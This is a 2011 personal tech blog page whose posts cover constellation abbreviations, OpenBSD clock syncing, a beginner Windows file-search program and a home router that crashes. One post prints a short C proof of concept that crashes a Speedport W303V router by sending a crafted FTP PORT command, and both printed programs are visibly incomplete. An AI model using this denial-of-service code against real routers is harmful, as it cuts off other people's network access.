Centroid.EU Blog

(this blog is mostly encrypted - adults only)

Previous Page

Constellation Name Abbreviations

July 8th, 2011

I got this out of the program xephem which lists 89 constellations:

And:  Andromeda         Cyg:  Cygnus            Pav:  Pavo
Ant:  Antlia            Del:  Delphinus         Peg:  Pegasus
Aps:  Apus              Dor:  Dorado            Per:  Perseus
Aql:  Aquila            Dra:  Draco             Phe:  Phoenix
Aqr:  Aquarius          Equ:  Equuleus          Pic:  Pictor
Ara:  Ara               Eri:  Eridanus          PsA:  Piscis  Austrinus
Ari:  Aries             For:  Fornax            Psc:  Pisces
Aur:  Auriga            Gem:  Gemini            Pup:  Puppis
Boo:  Bootes            Gru:  Grus              Pyx:  Pyxis
CMa:  Canis  Major      Her:  Hercules          Ret:  Reticulum
CMi:  Canis  Minor      Hor:  Horologium        Scl:  Sculptor
CVn:  Canes  Venatici   Hya:  Hydra             Sco:  Scorpius
Cae:  Caelum            Hyi:  Hydrus            Sct:  Scutum
Cam:  Camelopardalis    Ind:  Indus             Se1:  Serpens  Caput
Cap:  Capricornus       LMi:  Leo  Minor        Sex:  Sextans
Car:  Carina            Lac:  Lacerta           Sge:  Sagitta
Cas:  Cassiopeia        Leo:  Leo               Sgr:  Sagittarius
Cen:  Centaurus         Lep:  Lepus             Tau:  Taurus
Cep:  Cepheus           Lib:  Libra             Tel:  Telescopium
Cet:  Cetus             Lup:  Lupus             TrA:  Triangulum  Austral
Cha:  Chamaeleon        Lyn:  Lynx              Tri:  Triangulum
Cir:  Circinus          Lyr:  Lyra              Tuc:  Tucana
Cnc:  Cancer            Men:  Mensa             UMa:  Ursa  Major
Col:  Columba           Mic:  Microscopium      UMi:  Ursa  Minor
Com:  Coma  Berenices   Mon:  Monoceros         Vel:  Vela
CrA:  Corona  Australis Mus:  Musca             Vir:  Virgo
CrB:  Corona  Borealis  Nor:  Norma             Vol:  Volans
Crt:  Crater            Oct:  Octans            Vul:  Vulpecula
Cru:  Crux              Oph:  Ophiuchus         Se2:  Serpens  Cauda
Crv:  Corvus            Ori:  Orion


Ordered two new books

July 4th, 2011

I've ordered two new books. Now that I'm working hard it's time to reap the benefits to furthering myself. The one is the book you see in the image and the other is a book on javascript. I'm hoping to better my website with javascript eventually.

So what happened to my UNIX love, now that I'm ordering Windows books you may ask? It's still there but I'd like to explore other possibilities and windows is pretty mainstream. I'm toying with the thought of porting wildcarddnsd to windows. All in good time, if ever.


My third Windows program, speedport exploit

June 30th, 2011

With help from someone I managed to compile my exploit that crashes the Speedport W303V type A router. The .exe is executed from Windows 7 cmd window.

MD5 (speedport_exploit.exe) = 9eb9f16e64feaa8ccd316b9ca51c93c1

I'm gonna try it from my parents house some time and see if it really does crash the router. :-).

Update: it works at my parents house with windows XP. My mom wanted to know why I was making this and what my goal is. My goal is to get a firmware patch out of this from the manufacturer, so that I can continue the legit operations that this uses for a freebsd ezjail install.


Syncing clock on OpenBSD/VMware Workstation

June 29th, 2011

I recently synced all my clocks on OpenBSD vm's using the vmt(4) timedelta sensor that is included in OpenBSD 4.9.

tail -f /var/log/daemon ...
Jun 29 19:02:23 cupid ntpd[18033]: adjusting local clock by -0.275138s
Jun 29 19:03:54 cupid ntpd[16677]: clock is now synced
# grep -v ^# /etc/ntpd.conf|grep sensor 
sensor vmt0
That's all that's needed in the config for ntpd to run on the vm.


My second Windows program

June 25th, 2011

Since I got my windows system programming book I've been toiling with a program on windows. The first program was a hello, world program and this is the second program.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>

int find(TCHAR *filename, TCHAR *buf, TCHAR *);

_tmain(int argc, char *argv[])
        TCHAR buf[MAX_PATH + 1];
        TCHAR filename[MAX_PATH + 1];

        if (argc == 1) {
                printf("enter filename to find:\n");
                fgets(filename, sizeof(filename), stdin);

                if (filename[strlen(filename) - 1] == '\n')
                        filename[strlen(filename) - 1] = '\0';
                if (filename[strlen(filename) - 1] == '\r')
                        filename[strlen(filename) - 1] = '\0';

                printf("enter directory to start search:\n");
                fgets(buf, sizeof(buf), stdin);

                if (buf[strlen(buf) - 1] == '\n')
                        buf[strlen(buf) - 1] = '\0';
                if (buf[strlen(buf) - 1] == '\r')
                        buf[strlen(buf) - 1] = '\0';

                if (buf[strlen(buf) - 1] != '\\') {
                        strncat(buf, "\\", sizeof(buf));
        find(filename, buf, buf);
        printf("find done.\n");
        fgets(buf, sizeof(buf), stdin);

find(TCHAR *filename, TCHAR *buf, TCHAR *samefile)
        TCHAR newbuf[MAX_PATH + 1];
        HANDLE myH;
        WIN32_FIND_DATA fd;
        DWORD fType;

        strcat(buf, "\*");

        myH = FindFirstFile(buf, &fd);

        do {
                if (strcmp(fd.cFileName, filename) == 0) {
                                strncpy(newbuf, buf, MAX_PATH);
                                newbuf[strlen(newbuf) - 1] = '\0';
                                strncat(newbuf, fd.cFileName, MAX_PATH);

                                _tprintf(_T("%s\n"), newbuf);

                if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {

                        if (strcmp(fd.cFileName, samefile) == 0)

                        if (strcmp(fd.cFileName, ".") == 0 ||
                                        strcmp(fd.cFileName, "..") == 0)
                        strncpy(newbuf, buf, sizeof(newbuf));
                        newbuf[strlen(newbuf) - 1] = '\0';
                        strncat(newbuf, fd.cFileName, MAX_PATH);
                        strncat(newbuf, "\\", MAX_PATH);

                        if (find(filename, newbuf, fd.cFileName) == 1)

        } while (FindNextFile(myH, &fd));

        return (0);
The program requires one to press enter at the end when the finding is done which is a feature I put in for the Visual C++ Express program when one debugs it so that the cmd screen stays open. What the program does is similar to UNIX's find(1), although this implementation is more like a joke. Notice one has to use "*" to list contents in a path. yikes.


Solstice in three days

June 18th, 2011

The June Solstice is in three days. This means summer in the northern hemisphere and winter in the southern hemisphere.


Update on Speedport W303V crash

June 18th, 2011

The particular router is a Type A machine, where two models exist. Type A and Type B. I called the telekom yesterday and told them the problem and they had me put the default settings back on the router after backing up the settings and try again. NO GO. The firmware is the latest released and all we can hope for is another firmware patch. This router is beyond broken and I can't continue to FTP stuff like freebsd ezjail stuff on virtualbox. The tech at the telekom said we could exchange the router but we weren't on warranty anymore. This is like an 80 euro router... so we left it at that. I came out empty handed.


Speedport W303V crashes on PORT FTP command

June 13th, 2011

My parents have a Speedport W303V router bought from T-Home as they are a Telekom customer. I was playing around with FreeBSD today and noticed that whenever I'd ftp something the router would crash. So I tcpdumped it and produced this exploit that crashes this router.

/* speedzap.c by pbug
 * This program crashes a T-Home Speedport W 303V router 
 * with firmware version 1.09.000
 * The router is not even touched, an FTP PORT command is sent with an
 * IP that is not in the address range given out by this router.
 * Some proxy inside the router must cause it to give up and become 
 * unreachable.
 * cc -o speedzap speedzap.c ; ./speedzap

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FTPSERVER ""
#define FTPPORT	21
#define BYEBYE "PORT 10,0,2,15,167,140\r\n"

	struct sockaddr_in sin;
	int so;
	char buf[512];

	if (so < 0) {

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(FTPPORT);
	sin.sin_addr.s_addr = inet_addr(FTPSERVER);
	if (connect(so, (struct sockaddr *)&sin, sizeof(sin)) < 0) {

	read(so, buf, sizeof(buf));
	write(so, BYEBYE, strlen(BYEBYE));
	printf("zapped, restart your router.\n");


The program is intended for educational use to show how bad some proxy functions are built-in to routers.


Bought a book on Windows System programming

June 5th, 2011

This is the book that I purchased. I'm hoping to learn a bit about the Windows system. I can use that knowledge to better my understanding of how OS's work in general.


Cleaning heatsink reduces CPU temperature

June 2nd, 2011

My apartment isn't the cleanest place on earth. So it happens that dust accumulates inside the computer case and eventually gets into the fans and heatsinks. Today was one of those days where the CPU fan could not cool the CPU sufficiently anymore and the box overheated. I had a hard time connecting this heatsink to the cpu, the first time I musta done it wrong and the CPU overheated very quickly. The second time I watched the temperature in the bios hardware monitor for 15 minutes and last I saw it at 48.5 degrees Celsius. Still fairly high considering the Fan was at 2200 RPM's. But I felt that this was better than the 70's that it was at earlier. I do wonder whether a liquid cooling system is better for my setup.


Next Page


RSS Feed

Click here for RSS

On this day in

Other links

Have feedback?

By clicking on the header of an article you will be served a cookie. If you do not agree to this do not click on the header. Thanks!

Using a text-based webbrowser?

... such as lynx? Welcome back it's working again for the time being.

Older Blog Entries

Powered by BCHS